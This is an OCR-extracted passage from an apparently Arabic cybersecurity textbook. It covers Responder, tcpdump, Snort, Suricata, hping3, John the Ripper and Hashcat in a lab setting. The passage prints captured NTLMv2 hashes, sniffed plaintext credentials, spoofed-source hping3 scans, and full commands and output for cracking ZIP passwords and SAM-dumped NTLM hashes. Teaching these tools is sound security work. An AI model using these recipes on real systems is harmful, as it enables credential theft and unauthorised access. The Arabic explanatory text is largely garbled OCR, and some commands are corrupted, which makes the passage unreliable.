
[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:£19741c968884634:55078E219E2
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[SMB] NTLMv2-SSP Client : 10.49.1566.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator: :THM-WINFUN2:fa71deb1737a2369:AAF213595FD
[SMB] NTLMv2-SSP Client : 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:1c86836c35615ca3:2CFID096983

[+] Exiting...

(yaser CyberBookio)-[~]
$

https://github.com/lgandx/Responder :Jsaa3
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Linux, Windows, macOS, BSD i) daas
s askl
GPL-0.2 License o il g 5

Wireshark 33l (aibad

https://www.wireshark.org :Jsaad

tcpdump Y.°

Y Akl ae Jabaii 5l SSH se asd e (oSl palsa i i€ 1Y) ) dliaall aligal 55 Wireshark oo Ll
(il alle 8 Jseaall saiall o A3 el 510Y) o328 topdump Y ks @l udd e gy dgal 5 o (g siad
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i< 22 5 <BPF (Berkeley Packet Filter) oaud ll s L daalall Ml 4a] b (S5 4l g3 48
G o el s gy e iy bl i) Ty Y i Ll 3 5 ) o 3al) dualiie Gy s e
caldl s Jai 5« peap dasay el b_ﬁxS);M il aaldl) e topdump e sa (s sl Gl daading

o Alae Y A skl Bl a laialy Wireshark alaaiuls 7 s sy aliad s dnad il agieal
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dadl) daldl)

elsiaéjk.u)lq QJM\EJLQ_A“&M

Linux, macOS, BSD, Unix i) dalasl
sl Aalsa)
BSD 3-Clause License o il g

tcpdump 31 ualbad

Al jall ) Ay ) el 5l 3 HTTP e 48 a Jilady Bl 1 Lee Jiia
sudo tcpdump -i tunO -nn -A -s O 'tcp port 80 and host 10.49.138.3'

Ciaaall 80 2iall o 5 yall 48 a o L 58 55 tun0 deal sl o)y 5a¥) 138 o Y1 a8l 5 1 Jla £ i
POST I il Ay s W zransy Laa  ASCII Gy p 3all (5 sine (el A Jluadl aladial o Ua 33l 22adl)
ASLll e JE (8 5 b 7 g s (Lsal) AalS 5 pasisall sl Jis)

1l Al

(yaser CyberBookio)-[~]
$ sudo tcpdump -i tunO -nn -A -s O 'tcp port 80 and host 10.49.138.3'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tunO, link-type RAW (Raw IP), snapshot length 262144 bytes
05:38:42.056509 IP 192.168.154.215.44068 > 10.49.138.3.80: Flags [P.], seq 743103319:

1...$.P,J.W..Ml...b.......
..G....POST /api/login HTTP/1.1
Host: 10.49.138.3
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */x

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 35

Origin: http://10.49.138.3

Connection: keep-alive

Priority: u=0

Cache-Control: max-age=0

username=yaser&password=password123

05:38:42.172699 IP 10.49.138.3.80 > 192.168.154.215.44068: Flags [P.], seq 1:139, ack

...;...GHTTP/1.1 200 OK
Date: Sat, 27 Dec 2025 10:38:40 GMT
Content-Length: 21

Content-Type: text/plain; charset=utf-8

Incorrect credentials
05:38:42.215360 IP 192.168.154.215.44068 > 10.49.138.3.80: Flags [.], ack 139, win 98
E..4..0.0..\....

~C
3 packets captured
3 packets received by filter

0 packets dropped by kernel

(yaser CyberBookio)-[~]

https://www.tcpdump.org :Jsead
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Snort Y.

clue o Wireshark oS 13 «<Snort alkai 3 shul) jS3 V) ki S clSeil) dlaa alle Jsa dpaall die
Dbl sa delall jlae e A pal) il o3 Jajall ) (SA) e lal) e Snort ol el L s A
laal CilasSall s S, ST adde adiads ((IDS/IPS) Ll aie s il jaadl  giba sllai el s allall

LBasa g dadun Clily s2c el 4l Jia35 (Rule Engine) 22158l & jae 8 (a8 Snort 4 Jlall Ll
Aasl 158 allail) a6y i 328 (Gillai A sudie by dada )5 e 2 jaar A yrall Cilangll Claay i ety
tie s ) paleall wiag 58 Juat¥) adad i (Ll R3S iy 8) o plall 4nii 3 e OIS o) g <o)l
(Jhal

Lo 481 ) (Sniffer) cuaiiaS Lo} fiala i Ailide g lin s A3 4l gubiins ol g s sall & end
(NIDS Jluall Cai€l JulSll muza il 5f lia Leldas s cilibd) Laisd (Packet Logger) aiall dawse sl ccuany
el JMA Snortd 5 ala CaiS sacld Ll aad ¢ jelat s 5 el g;i @l aclall adall asiadll Juais s Mode)
Bzl Cilangdl 2 aal1 5 J5Y) g laall s aleay 134

paiia ) dav gie | o slhaall 3 jlgall (5 i

Linux, Windows, BSD, Solaris Jasadl) Adas
PRIESY aalsl)
GPL-0.2 License ua il ¢ 5

Snort 3lal Jailad

Haaraie aol 5 Lua @hlae) alasiuly Jlall CadS w3 Snort Jeis 1 les Jlia

sudo snort -c /etc/snort/snort.lua -R /etc/snort/rules/local.rules -i
tun0 -A alert_fast -k none

Dsal (e Agdaall ae ) sl Jany 5 [ua g st naall cilalae Y cile aading 2asll 138 of Y1 &8l 1JBal 7 5k

(e G,SAJ\ d&a\é.\j alert_fast @_).m“ A_p.\.ﬁ\ &»'4} M & tunO A.GA_\)M ;UE\JA qh L 4dleall B_}yd\ _JJ;.AJ\

h)ﬁm culs }S PREN Glilul) 48 Jalss UL“""J -k none ?-}Aj\ ¢ sana
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(yaser CyberBookio)-[~]

$ sudo snort -c /etc/snort/snort.lua -R /etc/snort/rules/local.rules -i tunO -A aler

Loading /etc/snort/snort.lua:
Loading snort_defaults.lua:
Finished snort defaults.lua:

alerts

daq

decode

host cache

host_tracker

hosts

network

packets

process

SO_Proxy

trace

ips

dce_smb

dce_tcp

dce_udp

dce_http_proxy

dce_http_server

file_id

stream_ip

stream_tcp

back orifice

dns

imap

CyberBook.io 1€ anll uly



netflow
normalizer
pop

sip

ssh

ssl

telnet

cip

dnp3

iecl104

mms
s7commplus
output

smtp
ftp_server
ftp_client
ftp_data
http_inspect
http2_inspect
port_scan
gtp_inspect
file_policy
js_norm
appid
wizard
binder
opcua
modbus
rpc_decode
arp_spoof
stream_file

stream_user
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stream_udp
stream_icmp
stream
references
classifications
search_engine

active

Finished /etc/snort/snort.lua:

Loading file_id.rules_file:

Loading file_magic.rules:

Finished file magic.rules:

Finished file id.rules_file:

Loading rule args:

Loading /etc/snort/rules/local.rules:

Finished /etc/snort/rules/local.rules:

Finished rule args:

ips policies rule stats
id loaded
0 219

shared enabled

0 219

file

/etc/snort/snort.lua

rule counts

total rules loaded:
text rules:
option chains:

chain headers:

service rule counts

file_id:

total:

to-srv to-cli
219 219
219 219

fast pattern groups

CyberBook.io
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to_server: 1

to_client: 1

search engine (ac_bnfa)
instances: 2
patterns: 438
pattern chars: 2602
num states: 1832
num match states: 392
memory scale: KB
total memory: 71.2812
pattern memory: 19.6484
match list memory: 28.4375
transition memory: 22.9453
appid: MaxRss diff: 2944

appid: patterns loaded: 300

pcap DAQ configured to passive.
Commencing packet processing
Retry queue interval is: 200 ms
++ [0] tunO

-— [0] tunO

daq
received: 13
analyzed: 13
allow: 13
rx_bytes: 1092
codec

CyberBook.io Yy
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total:
icmpé:
ipvé4:
raw:

packets:
processed_packets:

total_sessions:

new_flows:

inspects:

port_scan

packets:

trackers:

stream_icmp

sessions:
max:
created:

released:

CyberBook.io

13
13
13
13

YA

(100.000%)
(100.000%)
(100.000%)
(100.000%)
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Appid Statistics

detected apps and services

Application: Services Clients Users Payloads Misc Re
unknown: 1 0 0 0 0 0
Summary Statistics
process
signals: 16
timing
runtime: 00:04:22
seconds: 262.079489
0")~  Snort exiting
[1] + domne sudo snort -c¢ /etc/snort/snort.lua -R /etc/snort/rules/local.rules

(yaser CyberBookio)-[~]

https://www.snort.org :Jsad

Suricata ¢.%

Guany aldaill 13 Jaa 2) 5 sall G4 Suricata doae s Snort 30 shadU Cuaal) Jaadl 5 (g ll (uilial
oo Llle aaied LY Adlell Sl Cile s an e Al Aalast) cailS Laigy oY) g8 Blaall alle b 3pe o Al
Alhluy Sy WY (e (Multi-threading) o sal) saaxie dalladll auléy Suricata sls sl s dallas 3153
b Uy Gy () (39 (il iy (8 ULl (e Radin lLaaS Anllanal 58 siall 4 531 IS5 ellaal) 38 JS iy 58
Al

S8 Y alaill o Jias (File Extraction) cilila) z1 il e 4kl 43,08 a collaall Tas Gagall 3 30all 5
0, ALaYL s TaaY alilay o g6l Lils i g calal) 138 Gonan o gy s A0 yie jay o sudia Cale 3 sa g3 gty
(SIEM) 481 jall 5 Jidail) dadaily aday 5 Jray Laa <EVE 5 JSON Goesity &l 7 30 568 <Snort 2 8 acy
Ay oy Aadin S Leal S Sl sall o gl Jumiall JLad) s el 1] Taa Al s dleus dilee
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adiia Y dans sia | slladll 5 leall (5 gia

Linux, Windows, macOS, BSD, Unix ol Aokl
gﬂea aald)
GPL-0.2 License o il g g

Suricata sl (ailas

Jalads daiada do) @ (gulal ae Baaas AK05 dgal 5 4d) jal NIDS a5 4 Suricata Jseis e JUa
1ol & sana e 38l

sudo suricata -c /etc/suricata/suricata.yaml -i tunO -S

/var/lib/suricata/rules/local.rules -k none

~S bl e Al ddas ol Jaeady ashs ol Clalae ) Cile Hla aadiiey 138 531 QM 7 s
s 48 a gl dalati axe Jlecal -k none Ul e sl daia e @l Julaad e tUNO Al 5 481 e o 8
eve. json <ile &Y K ig ll Jaaliis fast. log il o8 leniill Jaandy sUaill oy Leo A e

1l Al

(yaser CyberBookio)-[~]

$ sudo suricata -c /etc/suricata/suricata.yaml -i tunO -S /var/lib/suricata/rules/lo
i: suricata: This is Suricata version 8.0.2 RELEASE running in SYSTEM mode
W: detect-classtype: signature sid:1000002 uses unknown classtype: "attempted-login',
i: threads: Threads created -> W: 2 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.

i: device: tun0O: packets: 7, drops: O (0.00%), invalid chksum: O

(yaser CyberBookio)-[~]

$ cat /var/log/suricata/fast.log
12/27/2025-12:19:23.632906 [**] [1:1000005:1] Any IP Traffic Detected [**] [Classifi
12/27/2025-12:19:23.671429 [**] [1:1000005:1] Any IP Traffic Detected [**] [Classifi
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(yaser CyberBookio)-[~]
$ cat /var/log/suricata/eve.json | jq 'select(.event_type=="http") | .http'
{
"hostname": "10.48.132.80",
"url": "/api/login",
"http_user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefo
"http_content_type": "text/plain",
"http_method": "POST",
"protocol": "HTTP/1.1",
"status": 200,

"length": 21

(yaser CyberBookio)-[~]

https://suricata.io :Jwaad

Zeek (formerly Bro) ¢.%
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s o g 4 (bl sl s (Threat Hunting) <lusedll e asall 6,8 400 310Y) Zeek e
00 AY) day g ol 5 Jib Jascally Chas 13k
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JBTPEN

hping3 1.1

QS wian & 3l o2 D) maa e 13 (S0 cgalall ping JeY sk o sae el Lpand (e olay 53S0
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i 51 4485 (SYN, ACK) poadl (e ddlise o) il aladiuls Bleall las jlidl 5 30l pasd 1 tee JUa
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sudo hping3 -S -p 80 -c 3 10.49.137.182

sudo hping3 -A -p 80 -c¢ 3 10.49.137.182

sudo hping3 -S -p ++20 -c 5 10.49.137.182

sudo hping3 -S -p 80 -a 8.8.8.8 -c 3 10.49.137.182

o =8 L) Adliae Cag ol s aalad) Jad 2505 JLEAY 33005 el 5V 38 o jeY) adl s Ul 7
ACK Zaja A Jball Ju s Wi 7 s 36l of ) SA alad) july Cum s gidall Mlial) GLEESY SYN 4
o5t —a LAl Ll I IS5 Allite Mlie de gene gand & +420 JLal 355 Alead) jlas sel @ LAY
bl Gan & adl aadll O gie i Y

1l Al

(yaser CyberBookio)-[~]

$ sudo hping3 -S -p 80 -c 3 10.49.137.182
HPING 10.49.137.182 (tunO 10.49.137.182): S set, 40 headers + 0 data bytes
len=44 ip=10.49.137.182 tt1=62 DF 1d=0 sport=80 flags=SA seq=0 win=62727 rtt=35.7 ms
len=44 ip=10.49.137.182 tt1=62 DF 1d=0 sport=80 flags=SA seq=1 win=62727 rtt=39.7 ms
len=44 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=SA seq=2 win=62727 rtt=39.4 ms

--- 10.49.137.182 hping statistic ---
3 packets transmitted, 3 packets received, 07 packet loss

round-trip min/avg/max = 35.7/38.3/39.7 ms

(yaser CyberBookio)-[~]

$ sudo hping3 -A -p 80 -c 3 10.49.137.182
HPING 10.49.137.182 (tunO 10.49.137.182): A set, 40 headers + O data bytes
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=80 flags=R seq=0 win=0 rtt=40.1 ms
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=80 flags=R seq=1 win=0 rtt=35.5 ms
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=80 flags=R seq=2 win=0 rtt=42.8 ms

--- 10.49.137.182 hping statistic ---

3 packets transmitted, 3 packets received, 07 packet loss

round-trip min/avg/max = 35.5/39.5/42.8 ms
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(yaser CyberBookio)-[~]

$ sudo hping3 -S -p ++20 -c 5 10.49.137.182
HPING 10.49.137.182 (tun0O 10.49.137.182): S set, 40 headers + O data bytes
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=20 flags=RA seq=0 win=0 rtt=35.8 ms
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=21 flags=RA seq=1 win=0 rtt=39.2 ms
len=44 ip=10.49.137.182 tt1=62 DF 1d=0 sport=22 flags=SA seq=2 win=62727 rtt=38.7 ms
len=40 ip=10.49.137.182 tt1=62 DF 1d=0 sport=23 flags=RA seq=3 win=0 rtt=42.2 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=24 flags=RA seq=4 win=0 rtt=41.6 ms

--- 10.49.137.182 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss

round-trip min/avg/max = 35.8/39.5/42.2 ms

(yaser CyberBookio)-[~]
$ sudo hping3 -S -p 80 -a 8.8.8.8 -c 3 10.49.137.182
HPING 10.49.137.182 (tunO 10.49.137.182): S set, 40 headers + O data bytes

--- 10.49.137.182 hping statistic ---
3 packets transmitted, O packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

(yaser CyberBookio)-[~]

https://github.com/antirez/hping :Jsal
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Bettercap slal paibas

https://www.bettercap.org :Jseal

Aircrack-ng 4.1
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https://www.aircrack-ng.org :dJwaad
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https://www.kismetwireless.net

Siemens S7 - =lall JsS 555l o dmpla 52 550 A8 a a5 GLESY aadiun Wireshark ¢
A e aliss il (PLC el ) el ) o A &nall el 51 JaaSs S5 ¢(102/TCP 2iiall)

Al
il Y glas e CalSan IS (| CS Gl laiadic del a5 3 &3 5l cSuricata 5 Snort Jie alas o

ASuall Jalasasall il ¢S Print Spooler i

Jee lana G VLAV (e Ly e Uasi § edaa ccnWlaty) IS L )1 Slaw i giw il Zeek Jic 51l o

Josd Kl L o m S e st g s Lpelin oS53 jeal 5 dgale

el i el dlas o a2t ol lS0E (el o) A Uil g e o) Lialed Stuxnet dad ol el Ul

4 Jand (3 Bladl aghs Ji TCP/IP Y 5 55 0 pe Jah (3l Y <l oY) oda &) (galall allall dlea Jaiil
s g g il ) ) A8 s qiad i d 2 35U 250 Uiy 48] Y S 5555l o

Ol 8 Ly Al glae s dgiaill ) J30 G as a5 clangll A5 o 50 inias IS8 dlen el 3

il Ay oS o AN e datl ) asleall zling ¥ 6588 sl (3 081 Adda Sl S ) J

Y S5yl 5 UL a5 alle (e i Un LaaSl of @50 leliall IS yund 48 65 sa Taad; A0 ) J e ) 4y

LY aaleall anley ¥ i idbiaall 5 5 pall LS Juad A8 jrall (o HAT Josd fay Ui 5 485 5 3y 50 alle 1)

Al adlole 5 ands (i) aaler Ji el sl
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LBalad g g el cilads Vv

oo g Alialie Cien 3dai5 dlanaie s Lapa Gaad 5 el Gl e 2alil) Zasbadl) Jia ool ) A b
e Y aias ST muatl wiall y CaliSl Aadail ¢ ) ohat Lt aladiu) Al sgas s ¥ cilillaia (s A5V £ 1 pual
Js czmilia 3 yae ol Le3) 48 il alaie V) ciliby s Lle 4ilad SV Law) (Attack Vector) assedl Ji
Gl e daay ds el Jamaall 5y Y aild clgale J sand) (0 paleall OSa313) 5 el 1) Ay 56l (5 ey Jiiad (oo
Baiaall Aleall il (he ypaall Ay 1 lata ey (35850 LSS (LY

Gl sl 5.6 ol Loy o Uass Y1 Iy ddilad) b LinkedIn 4Ses 315l &5 2012 ale b
s 1 (salt) 7o o2 SHA-1T £ 58 (e liled) culS 4aaal) 4 ISl (81 peadindl 5 e @S (hash)
o sl padiuly b uS dlee Jaag Les iledl adi L 058 (12345 Jia) ddaiall 5 el cilalS S o
Jade S5 4xy yu (Rainbow Tables) ¢ 3

117 e ST ccbia 9 5ae 5.6 i) (K ol AL A8l & jeda 2016 ple (88 Lia 4 ol daill (K1
da sl lial) Ul s cdad |jnkedIn Gle s ol adacal) Co il 138 ags alall g sl LS pe s 51l
s A &l Q3 @ saalgall aadiul Cus (Credential Stuffing) slaieY) Gl sda Sleaa (e dualle
pladinl () sy il Of A8 Cplatiens o5 AY) a8 pall YT e Lo LAY LinkedIn o dpmall 5 el LS
OSa S (8 s el S i

(Hashcat Jie slal alasiuly gi€ey (NVIDIA RTX 4090 die) 2a 5 &ian e gy A8y of alad Ja
B e J8i 8 W S Sey Windows alais (alall NTLM (il aca 4060 8 (peds Jle 100 oo ST gl
el

RS jlal o iy V5 el S e g lial) of Laals T o Lialed Ala 2l 2aal) o385 LinkedIn dasad
=i (John the Ripper s Hashcat Jis «Juadll 138 8 @l 5a¥1 Lgiles 5 Lehy 533088 ) Siay i iy 8 5 5
«Jiaall s (Offline Hash Cracking) < iyl Juail (50 QLAldl juS Cilass 181 5 aalgall 3 8 3Ll U
(Online <5y e dailall s @l Clasa aa dpal) J dal) i dadail 455 50 Hlid) o0 LiSai Hydra die < 50
L)y V) 5 5hadll g A sngd) il oY) o2 (e cpe il IS Jdae A4S 268 o) .Brute-Force Attacks)
Lo 48 cilelan ol

John the Ripper .V

S okl g )l QY ias 310Y1 o28 3al s U3 JohN the Ripper aubs b el 5 4y jall 31350 (Y1 Jaca
8oLy i el i) 5 5 S Lt e osall in 35 padiudls ki 15 Y 5 1996 ple dia 3353505 ¢y 5al
sy o OSi (e s e lalS cale el ey oLl il o) il e pe iy (CPU) adlad) e dlle

oAbl Jal) e e
0o 5elill a g ) audaind ey Ale A3y e Adlise a gad (3 ka red o g a8 8 31V o288 Jaaal) o)
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JS 4l (Brute Force) dedlal) 3 5ill gun s alasind i o als clalS 4l 8 2ladinls (Dictionary Attack)
Slo 2l sl A il Jslay 3 (Incremental Mode) (S31 sedill auas sa aa¥) oS ccaYlaay)
Clal€ 358 LAY ol jleall ety () jiide Y i e Y sl g laialy Al 8 a)) bl

sl )

eds’.’mé\lau)k g._ajﬂad\'é)\.@_d\d}m

Linux, Windows, macOS, BSD, Unix Jial) dalasl
& s [ Jilae ks
GPL-0.2 License ua il ¢ 5

John the Ripper #lai (ailas

calaginy (Mask Attack) gLl 4 aladiuls o oS &3 (ZIP) Lo gras cala (e il ) A0l 1 das Jla

zip2john ChristmasGIFts_123456.zip > numeric_hash.txt

john --mask=7d7d?d?d?d?d numeric_hash.txt

saclise 3131 e dagd galinll (Say (ila ) il Calall ysaty Tas Adeal) o8 o e a8l 1 JUal £ i

Alall da (85 gl Jla jue ddae Jasi o Gl @ jaall 4ua 55 40lSa) oo Lis Allxdll 5 3l Zip2jOhn e

Ge Y Bsale IS Angaall el A e iall dlae £ juw Laa ¢(2d) Al ol 2 e i) apaad o
A gdial) VLAY A8IS A jas

1l A

(yaser CyberBookio)-[~/john-samples/ZIP]
$ john my_zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status
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testpassword#

(winzip-zip2-

testpassword#.zip/test.txt)

1g 0:00:00:00 DONE 1/3 (2025-12-27 14:28) 100.0g/s 510200p/s 510200c/s 510200C/s zip2

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

(yaser CyberBookio)-[~/john-samples/ZIP]

$ zip2john ChristmasGIFts_123456.zip > numeric_hash.txt

ver 1.0 Scanning for EOD...

FOUND Extended local header

ChristmasGIFts_123456.zip/bin/ PKZIP Encr: 2b chk, TS_chk, cmplen=12, decmplen=0, crc

Skipping short file bin/

ver 2.0 ChristmasGIFts_123456.zip/bin/com.asm PKZIP Encr: TS_chk, cmplen=490, decmple

ver 2.

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

ver

CyberBook.io

2.

[y

N N N NN DN DN NN DN NN DN DN NN DNDDN
O O O O O O O O O O O O o o o o o o o o

0

ChristmasGIFts_123456.
ChristmasGIFts 123456.

zip/bin/elf .asm PKZIP Encr: TS_chk, cmplen=1296, decmpl

zip/bin/macho.asm PKZIP Encr: TS_chk, cmplen=1283, decm

*x*% 2b x* ChristmasGIFts_123456.zip/bin/simple.com PKZIP Encr: TS_chk, cmplen=

ChristmasGIFts_123456.
ChristmasGIFts_123456.
ChristmasGIFts 123456.
ChristmasGIFts_123456.
ChristmasGIFts_123456.
ChristmasGIFts 123456.
ChristmasGIFts_123456.
ChristmasGIFts_123456.
ChristmasGIFts_123456.
ChristmasGIFts 123456.
ChristmasGIFts_123456.
ChristmasGIFts_123456.
ChristmasGIFts 123456.
ChristmasGIFts_123456.
ChristmasGIFts_123456
ChristmasGIFts_123456.
ChristmasGIFts 123456.
ChristmasGIFts_123456.

zip/bin/simple.elf PKZIP Encr: TS_chk, cmplen=164, decm
zip/bin/simple.macho PKZIP Encr: TS_chk, cmplen=148, de
zip/bin/simple.pdf PKZIP Encr: TS_chk, cmplen=339, decm
zip/bin/pe.asm PKZIP Encr: TS_chk, cmplen=2198, decmple
zip/bin/simple.exe PKZIP Encr: TS_chk, cmplen=252, decm
zip/bin/class.asm PKZIP Encr: TS_chk, cmplen=976, decmp
zip/bin/simple.class PKZIP Encr: TS_chk, cmplen=216, de
zip/bin/bin.sha PKZIP Encr: TS_chk, cmplen=243, decmple
zip/bin/zip.asm PKZIP Encr: TS_chk, cmplen=913, decmple
zip/bin/simple.zip PKZIP Encr: TS_chk, cmplen=76, decmp
zip/pO-cover.gif PKZIP Encr: TS_chk, cmplen=168366, dec
zip/pl-PE.gif PKZIP Encr: TS_chk, cmplen=926520, decmpl
zip/p2-COM.gif PKZIP Encr: TS_chk, cmplen=268884, decmp
zip/p3-ELF.gif PKZIP Encr: TS_chk, cmplen=742451, decmp

.zip/p4-Mach-0.gif PKZIP Encr: TS_chk, cmplen=729009, de

zip/pb-Class.gif PKZIP Encr: TS_chk, cmplen=599505, dec
zip/p6-PDF.gif PKZIP Encr: TS_chk, cmplen=339756, decmp
zip/p7-ZIP.gif PKZIP Encr: TS_chk, cmplen=384603, decmp
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NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use

option -o to pick a file at a time.

(yaser CyberBookio)-[~/john-samples/ZIP]
$ john --mask=7d?d?7d?d?d?d numeric_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (ChristmasGIFts_123456.zip)
1g 0:00:00:00 DONE (2025-12-27 14:29) 33.33g/s 30583Kp/s 30583Kc/s 30583KC/s 657086. .
Use the "--show" option to display all of the cracked passwords reliably

Session completed.

(yaser CyberBookio)-[~/john-samples/ZIP]

https://www.openwall.com/john/ :Jsaad

Hashcat Y.V

3oball Letishs 812 oda & pud) allall 8 g ) (A Aadle Gsus el GlaS S (ia s ixd Hashcat 3
(GPU) e gyl d8lay e ulif (€8 aaiad o cdapail) @ 53Y1 Jia (CPU) aladl ) o aaiad ¥ Ll
i 5 psaal) 4 sY) CYT e (g giat e e Sl A8y Y 9131 .CUDA 5 OpenCL <iallas L ac i
A5l Tan a5 pall LS (padd Alae Jang 138 5 cidaalll (i Al ste IS Apbua) lileal) (e Aallas
a5l A6l & Y laall il jllad daaty s Al 485k b

3aaeie Lelany 13 5 ((Hash Algorithms) £ aill ¢l 5 ) s o s e 53 350 oo ST Hashcat ac
berypt Jie saiadl Slaeysall ) SHA-1 5 MD5 Jie ddapeadl GLalel) (e Al S5 clalasiny)
S acxi LS BitLockers VeraCrypts LUKS die gl Y @l i ) Y seas <Argon2s scrypts
Kerberos s NTLM Jie Jseiill Lakail 8 obadll cilils s WPA/WPA2/WPA3 LSL cilSaill cilila
A Yl O laall 4 g STV Jadlaal) g chlilal) ac ) 68 5 o oll calinla Cilily s

O G G 850l At ) o gad pliagl Ak gty las &S5 (4 Uy dah day e ol Hashcat sl
deyms ol 4y lile yuma, 546l Rule-based Attack sf e sill &l jae & lgaladinl b Ca sl 5 5 5kl
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https://www.openwall.com/john/

S P@sswOrd123! I password Jssi St (Lalali cilalsl) Jaxs 312Y) Jaal ae )l a2dioy <o yiaall oK1
Mask Attack less 3131 ac i LS 2 sl Cprediiosall 55 e lalS a8l 5 o8 138 5 sl §sa )5 gl 55 Cluca
S Hybrid clasa 5 ¢(0md s 6885 S Coyan lag (o al 8 1) 5 pall Aald daas Jaai yaay ol ans Al
Ofialide riaild (e lalS ey 53 Combinator Attack (sis s dadlal) 3 ll 5 e saldll (G aan
(i 13085 (gl il A Badmte Clpa gas ) Uy (ge 3G e Hashcat 58 & Tas dege 53150
3IaY) acxi LS Al dylin 38 o Jpeanll Cllae gy iy 8 51 4 o panadie S Slea ol aobains ol
Oleall i 1) Jaal) CiliinY Restore g dilise il sa ae dlea el uldl Benchmark gass
A B o gy 48Uy Ll 13) ¢ Jlaialy Jaall 1S5 cial Tl 28350 ) 5 jal) cilalS Ladsny (53 Brain gasss

Y pandll cllee 8 Sleal g Gila gl STy el S5 8 LAaY J0Y) cladla o 1Y) o3¢

EJSBA‘_AJL“J:\A QJM\BJL@A“L;)“M

Linux, Windows, macOS ol Aokl
e 4l
MIT License o il & 6

Hashcat 3lal uailbad

tosall) o saa aladiuly W S 25 SAM cale 0 NTLM clila £ jain) 1 tee JUa

cut -d ":" -f 4 scraped.sam > nt_hashes.txt
hashcat -m 1000 -a O nt_hashes.txt /usr/share/wordlists/rockyou.txt -o

cracked_passwords.txt --force

cale (0 NTLM = p=lall e 3al Joe Guob e L) eats o dleall 028 o 5aY) @85 1l £
Qg el paldll jadall g g8 pasdl -m 1000 JLA aladdul 8 i Ua Alladl) 3 jall 2 Adiall alail)
Gl dad Ggladl ——force JLAL aladiul aa 8 pedll GLalSH Al aladiuly (s 9l o gan Jiadll -3 0 Ll
Sl dlee 3 g5l el ey Ll oUadl)

1l Al

(yaser CyberBookio)-[~/john-samples/Windows]

$ head scraped.sam
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admin:1:4b369eed4249dfaaeb5e55d3fd61bc4d6:5b831a4023£73957c5315cae708b6ed7: : :
Administrator:2:51cd23289304854d22¢c34254e51bf£62:bc23a1506bd3c8d3a533680c516bab27: : :
Brian:3:4baae842ecf75103aad3b435b51404ee:89878£c01996b4df7669ec692cb3744f: : :
Guest:4:2ad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
HelpAssistant:5:0309786eeb8cdf6ab6a62f2614261da66:05d4510dad0eab37cd4ad2ec44ef496d: : :
Peter:6:50e74e91218e88alaad3b435b51404ee:bb1fb5707a655cal3b98e7c782bafe2fa: : :
Rajiv:7:8404b032273a39b3aad3b435b51404ee:e9efadalce401fedddeecaat0225d0662: : :
root:8:a2ad3b435b51404eeaad3b435b51404ee:9facf0875ed57fa244d1670a6cbcTeee: ¢
Scott:9:e268e05f9ec7albcfalef9f21b2bcc91:427c547d2b808bd6467662c5£7b5048e: : :
Sheldon:10:1cdf7e606dd8b25£33c£30£3ec8c0748:850392bab5818a74d647bc7b4b9d3bf14: : :

(yaser CyberBookio)-[~/john-samples/Windows]

$ cut -d ":" -f 4 scraped.sam > nt_hashes.txt

(yaser CyberBookio)-[~/john-samples/Windows]
$ hashcat -m 1000 -a O nt_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_pas

hashcat (v7.1.2) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.

Do not report hashcat issues encountered when using —--force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1

*x Device #01: cpu--0x000, 1466/2933 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

Hashfile 'nt_hashes.txt' on line 5089 (4C6670AC7ADBF3726F08C5266D7EAC318): Token leng

* Token length exception: 1/6239 hashes
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This error happens if the wrong hash type is specified, if the hashes are
malformed, or if input is otherwise not as expected (for example, if the

--username or --dynamic-x option is used but no username or dynamic-tag is present)

Hashes: 6238 digests; 5294 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

* Early-Skip

*

Not-Salted

*

Not-Iterated

*

Single-Salt

*

Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -0 to your commandline.

See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c

INFO: Removed 1977 hashes found as potfile entries.

Host memory allocated for this attack: 512 MB (1457 MB free)
Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385

* Bytes.....: 139921507

* Keyspace..: 14344385
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Approaching final keyspace - workload adjusted.

Session..........:
Status...........:
Hash.Mode........:
Hash.Target......:
Time.Started.....:
Time.Estimated...:
